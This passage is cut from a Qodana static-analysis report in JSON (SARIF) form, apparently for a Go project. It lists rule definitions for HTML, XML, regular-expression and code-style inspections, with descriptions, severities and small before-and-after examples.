a JSON schema. " }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "JsonSchemaRefReference", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "JSON and JSON5", "index": 8, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlUnknownBooleanAttribute", "shortDescription": { "text": "Incorrect boolean attribute" }, "fullDescription": { "text": "Reports an HTML non-boolean attribute without a value. Suggests configuring attributes that should not be reported.", "markdown": "Reports an HTML non-boolean attribute without a value. Suggests configuring attributes that should not be reported." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlUnknownBooleanAttribute", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "DuplicatedCode", "shortDescription": { "text": "Duplicated code fragment" }, "fullDescription": { "text": "Reports duplicated blocks of code from the selected scope: the same file or the entire project. The inspection features quick-fixes that help you to set the size of detected duplicates, navigate to repetitive code fragments, and compare them in a tool window. The inspection options allow you to select the scope of the reported duplicated fragments and set the initial size for the duplicated language constructs.", "markdown": "Reports duplicated blocks of code from the selected scope: the same file or the entire project.\n\nThe inspection features quick-fixes that help you to set the size of detected duplicates, navigate to repetitive code fragments, and compare them in a tool window.\n\nThe inspection options allow you to select the scope of the reported duplicated fragments and set the initial size for the duplicated language constructs." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "DuplicatedCode", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "InconsistentLineSeparators", "shortDescription": { "text": "Inconsistent line separators" }, "fullDescription": { "text": "Reports files with line separators different from the ones that are specified in the project's settings. For example, the inspection will be triggered if you set the line separator to '\\n' in Settings | Editor | Code Style | Line separator, while the file you are editing uses '\\r\\n' as a line separator. The inspection also warns you about mixed line separators within a file.", "markdown": "Reports files with line separators different from the ones that are specified in the project's settings.\n\nFor example, the inspection will be triggered if you set the line separator to `\\n` in\n[Settings \\| Editor \\| Code Style \\| Line separator](settings://preferences.sourceCode?Line%20separator),\nwhile the file you are editing uses `\\r\\n` as a line separator.\n\nThe inspection also warns you about mixed line separators within a file." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "InconsistentLineSeparators", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RedundantSuppression", "shortDescription": { "text": "Redundant suppression" }, "fullDescription": { "text": "Reports usages of the following elements that can be safely removed because the inspection they affect is no longer applicable in this context: '@SuppressWarning' annotation, or '// noinspection' line comment, or '/** noinspection */' JavaDoc comment Example: 'public class C {\n // symbol is already private,\n // but annotation is still around\n @SuppressWarnings({\"WeakerAccess\"})\n private boolean CONST = true;\n void f() {\n CONST = false;\n }\n}'", "markdown": "Reports usages of the following elements that can be safely removed because the inspection they affect is no longer applicable in this context:\n\n* `@SuppressWarning` annotation, or\n* `// noinspection` line comment, or\n* `/** noinspection */` JavaDoc comment\n\nExample:\n\n\n public class C {\n // symbol is already private,\n // but annotation is still around\n @SuppressWarnings({\"WeakerAccess\"})\n private boolean CONST = true;\n void f() {\n CONST = false;\n }\n }\n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "RedundantSuppression", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ProblematicWhitespace", "shortDescription": { "text": "Problematic whitespace" }, "fullDescription": { "text": "Reports the following problems: Tabs used for indentation when the code style is configured to use only spaces. Spaces used for indentation when the code style is configured to use only tabs. Spaces used for indentation and tabs used for alignment when the code style is configured to use smart tabs.", "markdown": "Reports the following problems:\n\n* Tabs used for indentation when the code style is configured to use only spaces.\n* Spaces used for indentation when the code style is configured to use only tabs.\n* Spaces used for indentation and tabs used for alignment when the code style is configured to use smart tabs." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ProblematicWhitespace", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlUnknownTarget", "shortDescription": { "text": "Unresolved file in a link" }, "fullDescription": { "text": "Reports an unresolved file in a link.", "markdown": "Reports an unresolved file in a link." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlUnknownTarget", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "SSBasedInspection", "shortDescription": { "text": "Structural search inspection" }, "fullDescription": { "text": "Allows configuring Structural Search/Structural Replace templates that you can apply to the file you are editing. All matches will be highlighted and marked with the template name that you have configured. If you configure the Structural Replace pattern as well, the corresponding replace option will be available as a quick-fix.", "markdown": "Allows configuring **Structural Search/Structural Replace** templates that you can apply to the file you are editing.\n\nAll matches will be highlighted and marked with the template name that you have configured.\nIf you configure the **Structural Replace** pattern as well, the corresponding replace option will be available as a quick-fix." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "SSBasedInspection", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "Structural search", "index": 28, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "LongLine", "shortDescription": { "text": "Line is longer than allowed by code style" }, "fullDescription": { "text": "Reports lines that are longer than the Hard wrap at parameter specified in Settings | Editor | Code Style | General.", "markdown": "Reports lines that are longer than the **Hard wrap at** parameter specified in [Settings \\| Editor \\| Code Style \\| General](settings://preferences.sourceCode?Hard%20wrap%20at)." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "LongLine", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XmlWrongRootElement", "shortDescription": { "text": "Wrong root element" }, "fullDescription": { "text": "Reports a root tag name different from the name specified in the '' tag.", "markdown": "Reports a root tag name different from the name specified in the `` tag." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "XmlWrongRootElement", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CheckValidXmlInScriptTagBody", "shortDescription": { "text": "Malformed content of 'script' tag" }, "fullDescription": { "text": "Reports contents of 'script' tags that are invalid XML. Example: '' After the quick-fix is applied: ''", "markdown": "Reports contents of `script` tags that are invalid XML. \n\n**Example:**\n\n\n \n\nAfter the quick-fix is applied:\n\n\n \n" }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CheckValidXmlInScriptTagBody", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpSuspiciousBackref", "shortDescription": { "text": "Suspicious back reference" }, "fullDescription": { "text": "Reports back references that will not be resolvable at runtime. This means that the back reference can never match anything. A back reference will not be resolvable when the group is defined after the back reference, or if the group is defined in a different branch of an alternation. Example of a group defined after its back reference: '\\1(abc)' Example of a group and a back reference in different branches: 'a(b)c|(xy)\\1z' New in 2022.1", "markdown": "Reports back references that will not be resolvable at runtime. This means that the back reference can never match anything. A back reference will not be resolvable when the group is defined after the back reference, or if the group is defined in a different branch of an alternation.\n\n**Example of a group defined after its back reference:**\n\n\n \\1(abc)\n\n**Example of a group and a back reference in different branches:**\n\n\n a(b)c|(xy)\\1z\n\nNew in 2022.1" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "RegExpSuspiciousBackref", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpSingleCharAlternation", "shortDescription": { "text": "Single character alternation" }, "fullDescription": { "text": "Reports single char alternation in a RegExp. It is simpler to use a character class instead. This may also provide better matching performance. Example: 'a|b|c|d' After the quick-fix is applied: '[abcd]' New in 2017.1", "markdown": "Reports single char alternation in a RegExp. It is simpler to use a character class instead. This may also provide better matching performance.\n\n**Example:**\n\n\n a|b|c|d\n\nAfter the quick-fix is applied:\n\n\n [abcd]\n\n\nNew in 2017.1" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "RegExpSingleCharAlternation", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlUnknownAttribute", "shortDescription": { "text": "Unknown attribute" }, "fullDescription": { "text": "Reports an unknown HTML attribute. Suggests configuring attributes that should not be reported.", "markdown": "Reports an unknown HTML attribute. Suggests configuring attributes that should not be reported." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlUnknownAttribute", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CheckTagEmptyBody", "shortDescription": { "text": "Empty element content" }, "fullDescription": { "text": "Reports XML elements without contents. Example: '\n \n ' After the quick-fix is applied: '\n \n '", "markdown": "Reports XML elements without contents.\n\n**Example:**\n\n\n \n \n \n\nAfter the quick-fix is applied:\n\n\n \n \n \n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "CheckTagEmptyBody", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpRedundantEscape", "shortDescription": { "text": "Redundant character escape" }, "fullDescription": { "text": "Reports redundant character escape sequences that can be replaced with unescaped characters preserving the meaning. Many escape sequences that are necessary outside of a character class are redundant inside square brackets '[]' of a character class. Although unescaped opening curly braces '{' outside of character classes are allowed in some dialects (JavaScript, Python, and so on), it can cause confusion and make the pattern less portable, because there are dialects that require escaping curly braces as characters. For this reason the inspection does not report escaped opening curly braces. Example: '\\-\\;[\\.]' After the quick-fix is applied: '-;[.]' The Ignore escaped closing brackets '}' and ']' option specifies whether to report '\\}' and '\\]' outside of a character class when they are allowed to be unescaped by the RegExp dialect. New in 2017.3", "markdown": "Reports redundant character escape sequences that can be replaced with unescaped characters preserving the meaning. Many escape sequences that are necessary outside of a character class are redundant inside square brackets `[]` of a character class.\n\n\nAlthough unescaped opening curly braces `{` outside of character classes are allowed in some dialects (JavaScript, Python, and so on),\nit can cause confusion and make the pattern less portable, because there are dialects that require escaping curly braces as characters.\nFor this reason the inspection does not report escaped opening curly braces.\n\n**Example:**\n\n\n \\-\\;[\\.]\n\nAfter the quick-fix is applied:\n\n\n -;[.]\n\n\nThe **Ignore escaped closing brackets '}' and '\\]'** option specifies whether to report `\\}` and `\\]` outside of a character class\nwhen they are allowed to be unescaped by the RegExp dialect.\n\nNew in 2017.3" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "RegExpRedundantEscape", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "UnresolvedReference", "shortDescription": { "text": "Unresolved reference" }, "fullDescription": { "text": "Reports an unresolved reference to a named pattern ('define') in RELAX-NG files that use XML syntax. Suggests creating the referenced 'define' element.", "markdown": "Reports an unresolved reference to a named pattern (`define`) in RELAX-NG files that use XML syntax. Suggests creating the referenced `define` element." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "UnresolvedReference", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "RELAX NG", "index": 43, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlMissingClosingTag", "shortDescription": { "text": "Missing closing tag" }, "fullDescription": { "text": "Reports an HTML element without a closing tag. Some coding styles require that HTML elements have closing tags even where this is optional. Example: '\n \n

Behold!\n \n ' After the quick-fix is applied: '\n \n

Behold!

\n \n '", "markdown": "Reports an HTML element without a closing tag. Some coding styles require that HTML elements have closing tags even where this is optional.\n\n**Example:**\n\n\n \n \n

Behold!\n \n \n\nAfter the quick-fix is applied:\n\n\n \n \n

Behold!

\n \n \n" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "HtmlMissingClosingTag", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CustomRegExpInspection", "shortDescription": { "text": "Custom RegExp inspection" }, "fullDescription": { "text": "Custom Regex Inspection", "markdown": "Custom Regex Inspection" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "CustomRegExpInspection", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "IncorrectFormatting", "shortDescription": { "text": "Incorrect formatting" }, "fullDescription": { "text": "Reports formatting issues that appear if your code doesn't follow your project's code style settings. This inspection is not compatible with languages that require third-party formatters for code formatting, for example, Go or C with CLangFormat enabled.", "markdown": "Reports formatting issues that appear if your code doesn't\nfollow your project's code style settings.\n\n\nThis inspection is not compatible with languages that require\nthird-party formatters for code formatting, for example, Go or\nC with CLangFormat enabled." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "IncorrectFormatting", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlExtraClosingTag", "shortDescription": { "text": "Redundant closing tag" }, "fullDescription": { "text": "Reports redundant closing tags on empty elements, for example, 'img' or 'br'. Example: '\n \n

\n \n ' After the quick-fix is applied: '\n \n
\n \n '", "markdown": "Reports redundant closing tags on empty elements, for example, `img` or `br`.\n\n**Example:**\n\n\n \n \n

\n \n \n\nAfter the quick-fix is applied:\n\n\n \n \n
\n \n \n" }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlExtraClosingTag", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlUnknownAnchorTarget", "shortDescription": { "text": "Unresolved fragment in a link" }, "fullDescription": { "text": "Reports an unresolved last part of an URL after the '#' sign.", "markdown": "Reports an unresolved last part of an URL after the `#` sign." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlUnknownAnchorTarget", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpUnexpectedAnchor", "shortDescription": { "text": "Begin or end anchor in unexpected position" }, "fullDescription": { "text": "Reports '^' or '\\A' anchors not at the beginning of the pattern and '$', '\\Z' or '\\z' anchors not at the end of the pattern. In the wrong position these RegExp anchors prevent the pattern from matching anything. In case of the '^' and '$' anchors, most likely the literal character was meant and the escape forgotten. Example: '(Price $10)' New in 2018.1", "markdown": "Reports `^` or `\\A` anchors not at the beginning of the pattern and `$`, `\\Z` or `\\z` anchors not at the end of the pattern. In the wrong position these RegExp anchors prevent the pattern from matching anything. In case of the `^` and `$` anchors, most likely the literal character was meant and the escape forgotten.\n\n**Example:**\n\n\n (Price $10)\n\n\nNew in 2018.1" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "RegExpUnexpectedAnchor", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "SpellCheckingInspection", "shortDescription": { "text": "Typo" }, "fullDescription": { "text": "Reports typos and misspellings in your code, comments, and literals and fixes them with one click.", "markdown": "Reports typos and misspellings in your code, comments, and literals and fixes them with one click." }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "SpellCheckingInspection", "ideaSeverity": "TYPO", "qodanaSeverity": "Low" } }, "relationships": [ { "target": { "id": "Proofreading", "index": 52, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "CheckXmlFileWithXercesValidator", "shortDescription": { "text": "Failed external validation" }, "fullDescription": { "text": "Reports a discrepancy in an XML file with the specified DTD or schema detected by the Xerces validator.", "markdown": "Reports a discrepancy in an XML file with the specified DTD or schema detected by the Xerces validator." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "CheckXmlFileWithXercesValidator", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "HtmlUnknownTag", "shortDescription": { "text": "Unknown tag" }, "fullDescription": { "text": "Reports an unknown HTML tag. Suggests configuring tags that should not be reported.", "markdown": "Reports an unknown HTML tag. Suggests configuring tags that should not be reported." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "HtmlUnknownTag", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpEscapedMetaCharacter", "shortDescription": { "text": "Escaped meta character" }, "fullDescription": { "text": "Reports escaped meta characters. Some RegExp coding styles specify that meta characters should be placed inside a character class, to make the regular expression easier to understand. This inspection does not warn about the meta character '[', ']' and '^', because those would need additional escaping inside a character class. Example: '\\d+\\.\\d+' After the quick-fix is applied: '\\d+[.]\\d+' New in 2017.1", "markdown": "Reports escaped meta characters. Some RegExp coding styles specify that meta characters should be placed inside a character class, to make the regular expression easier to understand. This inspection does not warn about the meta character `[`, `]` and `^`, because those would need additional escaping inside a character class.\n\n**Example:**\n\n\n \\d+\\.\\d+\n\nAfter the quick-fix is applied:\n\n\n \\d+[.]\\d+\n\nNew in 2017.1" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "RegExpEscapedMetaCharacter", "ideaSeverity": "INFORMATION", "qodanaSeverity": "Info" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XmlHighlighting", "shortDescription": { "text": "XML highlighting" }, "fullDescription": { "text": "Reports XML validation problems in the results of a batch code inspection.", "markdown": "Reports XML validation problems in the results of a batch code inspection." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "XmlHighlighting", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XmlDuplicatedId", "shortDescription": { "text": "Duplicate 'id' attribute" }, "fullDescription": { "text": "Reports a duplicate 'id' attribute in XML.", "markdown": "Reports a duplicate `id` attribute in XML." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "XmlDuplicatedId", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpDuplicateCharacterInClass", "shortDescription": { "text": "Duplicate character in character class" }, "fullDescription": { "text": "Reports duplicate characters inside a RegExp character class. Duplicate characters are unnecessary and can be removed without changing the semantics of the regex. Example: '[aabc]' After the quick-fix is applied: '[abc]'", "markdown": "Reports duplicate characters inside a RegExp character class. Duplicate characters are unnecessary and can be removed without changing the semantics of the regex.\n\n**Example:**\n\n\n [aabc]\n\nAfter the quick-fix is applied:\n\n\n [abc]\n" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "RegExpDuplicateCharacterInClass", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XmlInvalidId", "shortDescription": { "text": "Unresolved 'id' reference" }, "fullDescription": { "text": "Reports an unresolved 'id' reference in XML.", "markdown": "Reports an unresolved `id` reference in XML." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "XmlInvalidId", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XmlUnboundNsPrefix", "shortDescription": { "text": "Unbound namespace prefix" }, "fullDescription": { "text": "Reports an unbound namespace prefix in XML.", "markdown": "Reports an unbound namespace prefix in XML." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "XmlUnboundNsPrefix", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RequiredAttributes", "shortDescription": { "text": "Missing required attribute" }, "fullDescription": { "text": "Reports a missing mandatory attribute in an XML/HTML tag. Suggests configuring attributes that should not be reported.", "markdown": "Reports a missing mandatory attribute in an XML/HTML tag. Suggests configuring attributes that should not be reported." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "RequiredAttributes", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "HTML", "index": 14, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "ReassignedToPlainText", "shortDescription": { "text": "Reassigned to plain text" }, "fullDescription": { "text": "Reports files that were explicitly re-assigned to Plain Text File Type. This association is unnecessary because the platform auto-detects text files by content automatically. You can dismiss this warning by removing the file type association in Settings | Editor | File Types | Text.", "markdown": "Reports files that were explicitly re-assigned to Plain Text File Type. This association is unnecessary because the platform auto-detects text files by content automatically.\n\nYou can dismiss this warning by removing the file type association\nin **Settings \\| Editor \\| File Types \\| Text**." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "ReassignedToPlainText", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XmlUnusedNamespaceDeclaration", "shortDescription": { "text": "Unused schema declaration" }, "fullDescription": { "text": "Reports an unused namespace declaration or location hint in XML.", "markdown": "Reports an unused namespace declaration or location hint in XML." }, "defaultConfiguration": { "enabled": false, "level": "warning", "parameters": { "suppressToolId": "XmlUnusedNamespaceDeclaration", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpRedundantClassElement", "shortDescription": { "text": "Redundant '\\d', '[:digit:]', or '\\D' class elements" }, "fullDescription": { "text": "Reports redundant '\\d' or '[:digit:]' that are used in one class with '\\w' or '[:word:]' ('\\D' with '\\W') and can be removed. Example: '[\\w\\d]' After the quick-fix is applied: '[\\w]' New in 2022.2", "markdown": "Reports redundant `\\d` or `[:digit:]` that are used in one class with `\\w` or `[:word:]` (`\\D` with `\\W`) and can be removed.\n\n**Example:**\n\n\n [\\w\\d]\n\nAfter the quick-fix is applied:\n\n\n [\\w]\n\nNew in 2022.2" }, "defaultConfiguration": { "enabled": true, "level": "note", "parameters": { "suppressToolId": "RegExpRedundantClassElement", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpSimplifiable", "shortDescription": { "text": "Regular expression can be simplified" }, "fullDescription": { "text": "Reports regular expressions that can be simplified. Example: '[a] xx* [ah-hz]' After the quick-fix is applied: 'a x+ [ahz]' New in 2022.1", "markdown": "Reports regular expressions that can be simplified.\n\n**Example:**\n\n\n [a] xx* [ah-hz]\n\nAfter the quick-fix is applied:\n\n\n a x+ [ahz]\n\nNew in 2022.1" }, "defaultConfiguration": { "enabled": false, "level": "note", "parameters": { "suppressToolId": "RegExpSimplifiable", "ideaSeverity": "WEAK WARNING", "qodanaSeverity": "Moderate" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpEmptyAlternationBranch", "shortDescription": { "text": "Empty branch in alternation" }, "fullDescription": { "text": "Reports empty branches in a RegExp alternation. An empty branch will only match the empty string, and in most cases that is not what is desired. This inspection will not report a single empty branch at the start or the end of an alternation. Example: '(alpha||bravo)' After the quick-fix is applied: '(alpha|bravo)' New in 2017.2", "markdown": "Reports empty branches in a RegExp alternation. An empty branch will only match the empty string, and in most cases that is not what is desired. This inspection will not report a single empty branch at the start or the end of an alternation.\n\n**Example:**\n\n\n (alpha||bravo)\n\nAfter the quick-fix is applied:\n\n\n (alpha|bravo)\n\nNew in 2017.2" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "RegExpEmptyAlternationBranch", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "Annotator", "shortDescription": { "text": "Annotator" }, "fullDescription": { "text": "Reports issues essential to this file (e.g., syntax errors) in the result of a batch code inspection run. These issues are usually always highlighted in the editor and can't be configured, unlike inspections. These options control the scope of checks performed by this inspection: Option \"Report syntax errors\": report parser-related issues. Option \"Report issues from language-specific annotators\": report issues found by annotators configured for the relevant language. See Custom Language Support: Annotators for details. Option \"Report other highlighting problems\": report issues specific to the language of the current file (e.g., type mismatches or unreported exceptions). See Custom Language Support: Highlighting for details.", "markdown": "Reports issues essential to this file (e.g., syntax errors) in the result of a batch code inspection run. These issues are usually always highlighted in the editor and can't be configured, unlike inspections. These options control the scope of checks performed by this inspection:\n\n* Option \"**Report syntax errors**\": report parser-related issues.\n* Option \"**Report issues from language-specific annotators** \": report issues found by annotators configured for the relevant language. See [Custom Language Support: Annotators](https://plugins.jetbrains.com/docs/intellij/annotator.html) for details.\n* Option \"**Report other highlighting problems** \": report issues specific to the language of the current file (e.g., type mismatches or unreported exceptions). See [Custom Language Support: Highlighting](https://plugins.jetbrains.com/docs/intellij/syntax-highlighting-and-error-highlighting.html#semantic-highlighting) for details." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "Annotator", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "General", "index": 19, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "XmlPathReference", "shortDescription": { "text": "Unresolved file reference" }, "fullDescription": { "text": "Reports an unresolved file reference in XML.", "markdown": "Reports an unresolved file reference in XML." }, "defaultConfiguration": { "enabled": false, "level": "error", "parameters": { "suppressToolId": "XmlPathReference", "ideaSeverity": "ERROR", "qodanaSeverity": "Critical" } }, "relationships": [ { "target": { "id": "XML", "index": 33, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "RegExpUnnecessaryNonCapturingGroup", "shortDescription": { "text": "Unnecessary non-capturing group" }, "fullDescription": { "text": "Reports unnecessary non-capturing groups, which have no influence on the match result. Example: 'Everybody be cool, (?:this) is a robbery!' After the quick-fix is applied: 'Everybody be cool, this is a robbery!' New in 2021.1", "markdown": "Reports unnecessary non-capturing groups, which have no influence on the match result.\n\n**Example:**\n\n\n Everybody be cool, (?:this) is a robbery!\n\nAfter the quick-fix is applied:\n\n\n Everybody be cool, this is a robbery!\n\nNew in 2021.1" }, "defaultConfiguration": { "enabled": true, "level": "warning", "parameters": { "suppressToolId": "RegExpUnnecessaryNonCapturingGroup", "ideaSeverity": "WARNING", "qodanaSeverity": "High" } }, "relationships": [ { "target": { "id": "RegExp", "index": 37, "toolComponent": { "name": "QDGO" } }, "kinds": [ "superset" ] } ] }, { "id": "TodoComment", "shortDescription": { "text": "TODO comment" }, "fullDescription": { "text": "Reports TODO comments in your code. You can configure the format for TODO comments in Settings | Editor | TODO. Enable the Only warn on TODO comments without any details option to only warn on empty TODO comments, that don't provide any description on the task that should be done. Disable to report all TODO comments.", "markdown": "Reports 